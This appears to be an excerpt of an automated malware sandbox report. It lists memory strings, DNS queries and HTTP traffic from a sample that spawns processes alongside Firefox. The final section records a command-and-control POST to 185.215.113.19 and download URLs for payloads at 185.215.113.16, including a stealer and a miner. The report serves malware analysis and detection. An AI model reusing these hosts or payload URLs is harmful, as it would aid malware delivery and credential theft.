/moatheader.js*://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://www.google-analytics.com/gtm/js*://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.jsTelemetrySession::onEnvironmentChange equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8F6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HDAUDIO\FUNC_01&VEN_15AD&DEV_1975&SUBSYS_15AD1975&REV_1001\4&32275da5&0&0001_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORT equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625098000.00000238E745F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2625566496.00000238E7603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2626428785.00000238E8EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account' equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2942352042.00000286233A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account+ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2643663526.000001F414100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/account_ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3324817796.000002863136A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: PORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=CKK equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2967483473.0000000006699000.00000004.00000020.00020000.00000000.sdmp, 1c593ec106.exe, 0000000C.00000002.2966270641.000000000673D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000023.00000002.3108413567.000002862DA5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 00000023.00000002.3358002708.0000028632E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: about:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.2643811635.000001F414170000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\bro equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3324817796.0000028631391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: detectportal.prod.mozaws.netPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCMOZ_CRASHREPORTER_DATA_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Crash ReportsMOZ_CRASHREPORTER_EVENTS_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\eventsMOZ_CRASHREPORTER_PING_DIRECTORY=C:\Users\user\AppData\Roaming\Mozilla\Firefox\Pending PingsMOZ_CRASHREPORTER_RESTART_ARG_0=C:\Program Files\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreporter-override.iniNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files\Mozilla Firefox;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program FilesProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOM equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools.performance.recording.ui-base-urldevtools/client/framework/devtools-browser@mozilla.org/uriloader/handler-service;1^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?devtools.debugger.remote-websocketbrowser.fixup.domainsuffixwhitelist.Got invalid request to save JSON dataresource://devtools/server/devtools-server.jsUnable to start devtools server on get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIFailed to listen. Listener already attached.get FIXUP_FLAG_FORCE_ALTERNATE_URI@mozilla.org/network/protocol;1?name=filereleaseDistinctSystemPrincipalLoaderNo callback set for this channel.@mozilla.org/network/protocol;1?name=default@mozilla.org/dom/slow-script-debug;1browser.fixup.dns_first_for_single_words{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}WebChannel/this._originCheckCallbackJSON Viewer's onSave failed in startPersistence^([a-z+.-]+:\/{0,3})([^\/@]+@).+Failed to listen. Callback argument missing.devtools.performance.popup.feature-flagdevtools/client/framework/devtoolsFailed to execute WebChannel callback:^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]\|$)DevToolsStartup.jsm:handleDebuggerFlagDevTools telemetry entry point failed: resource://devtools/shared/security/socket.jsbrowser.urlbar.dnsResolveFullyQualifiedNamesresource://gre/modules/ExtHandlerService.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}resource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1http://www.inbox.lv/rfc2368/?value=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/NetUtil.sys.mjs{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/FileUtils.sys.mjs_finalizeInternal/this._finalizePromise<extractScheme/fixupChangedProtocol<@mozilla.org/uriloader/local-handler-app;1@mozilla.org/uriloader/web-handler-app;1http://compose.mail.yahoo.co.jp/ym/Compose?To=%shandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/dbus-handler-app;1Scheme should be either http or https_injectDefaultProtocolHandlersIfNeededhttp://win.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/network/file-input-stream;1Can't invoke URIFixup in the content processgecko.handlerService.defaultHandlersVersionhttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%shttps://poczta.interia.pl/mh/?mailto=%sisDownloadsImprovementsAlreadyMigratedresource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/network/simple-stream-listener;1First argument should be an nsIInputStreamNon-zero amount of bytes must be specifiedhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://poczta.interia.pl/mh/?mailto=%snewChannel requires a single object argumenthttps://mail.inbox.lv/compose?to=%spdfjs.pre
Source: firefox.exe, 00000018.00000002.2631652987.00000238F3815000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: dom.sitepermsaddon-provider.enabledonPrefEnabledChanged() - adding gmp directory onPrefEMEGlobalEnabledChanged() id= - the given reason to update is not supportedmedia.gmp-manager.secondsBetweenChecksipc:first-content-process-createdstartup - adding clearkey CDM failedfindUpdates() - found update for This should only be called from XPCShell testsstartup - adding gmp directory failed with startup - adding clearkey CDM directory webcompat-reporter@mozilla.org.xpiFileUtils_openSafeFileOutputStreamwebcompat-reporter%40mozilla.org:1.5.1FileUtils_closeSafeFileOutputStream@mozilla.org/network/file-output-stream;1resource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/facebook.svghttps://smartblock.firefox.etp/play.svg://track.adform.net/serving/scripts/trackpoint/://c.amazon-adsystem.com/aax2/apstag.js://cdn.branch.io/branch-latest.min.js://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.jspictureinpicture%40mozilla.org:1.0.0@mozilla.org/network/atomic-file-output-stream;1@mozilla.org/addons/addon-manager-startup;1://static.criteo.net/js/ld/publishertag.jsFileUtils_openAtomicFileOutputStream://.imgur.io/js/vendor..bundle.js://www.everestjs.net/static/st.v3.js@mozilla.org/network/safe-file-output-stream;1://pub.doubleverify.com/signals/pub.js://www.rva311.com/static/js/main..chunk.js://web-assets.toggl.com/app/assets/scripts/.js://connect.facebook.net//sdk.js*://static.chartbeat.com/js/chartbeat_video.js://connect.facebook.net//all.jsresource://gre/modules/FileUtils.sys.mjs://libs.coremetrics.com/eluminate.js://.imgur.com/js/vendor..bundle.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: get serviceWorkersTestingEnabledhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3324817796.0000028631391000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: gram Fles\Mozilla Firefox\firefox.exeMOZ_CRASHREPORTER_RESTART_ARG_1=https://www.youtube.com/accountMOZ_CRASHREPORTER_STRINGS_OVERRIDE=C:\Program Files\Mozilla Firefox\browser\crashreport equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000023.00000002.3168184572.000002862DC6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp, 1c593ec106.exe, 0000000C.00000002.2961150668.00000000066D2000.00000004.00000020.00020000.00000000.sdmp, 1c593ec106.exe, 0000000C.00000002.2941021583.000000000240C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account7 equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account= equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 0000001F.00000002.2963560119.0000000006D92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account>mJ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.2938979510.0000028621A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account@ equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountI equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 0000000C.00000002.2961150668.00000000066D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountQ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2625566496.00000238E7603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account` equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountmain/nimbus-desktop-experimentsmain/nimbus-desktop-experimentsupgrade-spotlight-rolloutserp-ad-telemetry-rollouthttpSpeculativeParallelLimitmain/nimbus-desktop-experimentsINVALID_SHAREABLE_SCHEMES equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 0000000C.00000002.2961150668.00000000066D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountt equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2964260464.0000000006630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountw equals www.youtube.com (Youtube)
Source: 1c593ec106.exe, 00000009.00000002.2939170613.00000000021CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account} equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000003.2579353074.000001CBE7979000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000003.2578648250.000001CBE796C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2581052147.000001CBE797A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2631652987.00000238F387B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: set suspendMediaWhenInactivehttps://www.youtube.com/accountbrowser-delayed-startup-finishedauthorStyleDisabledDefaultresetLocationChangeRateLimitget authorStyleDisabledDefaultbrowsing-context-discardedset authorStyleDisabledDefaultserviceWorkersTestingEnabledgetAllBrowsingContextsInSubtreeget serviceWorkersTestingEnabledhttps://www.youtube.com/accounttoolkit.singletonWindowType_downloadTypesViewableInternally_shouldViewDownloadInternally/<getMostRecentBrowserWindowpreviousHandler.preferredAction.PREF_BRANCH_PREVIOUS_ACTIONgetCurrentInnerWindowWithIdhttps://www.youtube.com/account@mozilla.org/browser/clh;1PREF_BRANCH_WAS_REGISTEREDnotifyStartDelayedAutoplayMediawebcompat-reporter@mozilla.orgWeb Compatibility Interventions equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3338983377.000002863207E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: toolkit/global/browser-utils.ftlhttp://www.w3.org/1999/xlinkSERP Ad Telemetry RollouthttpSpeculativeParallelLimithttpSpeculativeParallelLimitmain/nimbus-desktop-experimentsfirefox-desktop-urlbar-release-9main/nimbus-desktop-experimentsmain/nimbus-desktop-experimentszero-prefix-weather-suggestionsmain/nimbus-desktop-experimentsmain/nimbus-desktop-experimentshttps://www.youtube.com/accountmain/nimbus-desktop-experimentsserp-ad-telemetry-rolloutzero-prefix-weather-suggestions equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2640278303.000033E224400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2640278303.000033E224400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2640278303.000033E224400000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com/accountZ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3334627067.0000028631DB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000023.00000002.3358002708.0000028632E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000023.00000002.3358002708.0000028632E49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xabout:certerror?e=nssBadCert&u=https%3A//www.youtube.com/account&c=UTF-8&d=%20 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000018.00000002.2630851621.00000238F37C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2630851621.00000238F3769000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2598025146.00000238F3769000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net

Source: unknown

HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: firefox.exe, 00000018.00000002.2637437309.00000238F5800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000002.2625566496.00000238E7667000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2645119207.000001F414400000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp, 8ec8c5c339.exe, 00000008.00000002.2772437100.0000000028B15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe
Source: 8ec8c5c339.exe, 00000008.00000002.2741806930.0000000002515000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exeN
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.exe
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/stealc/random.execodediD
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Local
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php(
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php1
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php17001
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php2
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php:N
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpM:S
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpl
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phplh
Source: explorti.exe, 00000007.00000002.2926586035.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpp
